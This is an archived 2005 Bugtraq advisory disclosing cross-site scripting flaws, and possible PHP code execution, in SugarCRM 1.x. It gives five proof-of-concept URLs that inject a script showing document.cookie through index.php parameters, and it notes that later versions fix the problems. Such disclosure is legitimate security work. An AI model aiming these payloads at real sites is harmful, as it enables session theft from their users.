bugtraq - Cross Site Scripting Vulnerabilities and Possible Code Execution in SugarCRM

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 01 Jan 2005 19:58:44 +0000
From: Joxean Koret <joxeankoret@...oo.es>
To: bugtraq@...urityfocus.com,
	Full Disclosure <full-disclosure@...ts.netsys.com>,
	Secunia <vuln@...unia.com>,
	Security Tracker <bugs@...uritytracker.com>
Subject: Cross Site Scripting Vulnerabilities and Possible Code Execution
	in SugarCRM

----------------------------------------------------------------------------
Cross Site Scripting Vulnerabilities and Possible Code Execution in
SugarCRM
----------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SugarCRM 1.X - Manage leads, opportunities, contacts and more inside of
a 
state-of-the-art user interface. Built on PHP and MySQL

Web : http://sugarcrm.sourceforge.net

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerability

A1. In the main script (index.php) various parameters, that are used to
write the
html code, not are verified. 

At least the following URLs are vulnerables to XSS (Cross Site
Scripting) attacks : 

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module="><script>alert(document.cookie)</script>&return_action=index

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module=&return_action="><script>alert(document.cookie)</script>

http://<site-with-sugarcrm>/sugarcrm/index.php?name=%22%3E%3Cscript%
3Ealert%28document.cookie%29%3C%2Fscript%
3E&address_city=&website=&phone=&action=ListView&query=true&module=Accounts&button=Search

And the following are XSS vulnerables and, may be, arbitrary PHP remote
code execution 
vulnerables as well : 

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts"><script>alert(document.cookie)</script>&record=d676f046-1be5-dc36-114e-4138f972bf5d

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts''''&record=[RECORD ID]"><script>alert(document.cookie)</script>


The fix:
~~~~~~~~

All problems are fixed in the latests versions availables at the
sugarcrm site.
Go to http://sugarcrm.sourceforge.net site for more info about the new
versions.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es




Download attachment "signature.asc" of type "application/pgp-signature" (190 bytes)